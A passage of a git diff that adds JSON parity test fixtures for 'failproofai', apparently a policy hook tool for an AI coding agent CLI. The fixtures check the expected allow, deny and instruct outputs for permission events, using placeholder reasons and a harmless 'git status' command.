"parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4c30aab2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ee393fb2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2dd92df8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0ca5d22d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..22a3463f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ea042bd0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f95f1fb8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..fe70d877 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ef683dfc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..03675a9f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ad62f99a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..02e6b1e8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f94f8b0e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0b6c5e34 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ba346d35 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..48228f0f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4428eff6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a660e071 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ 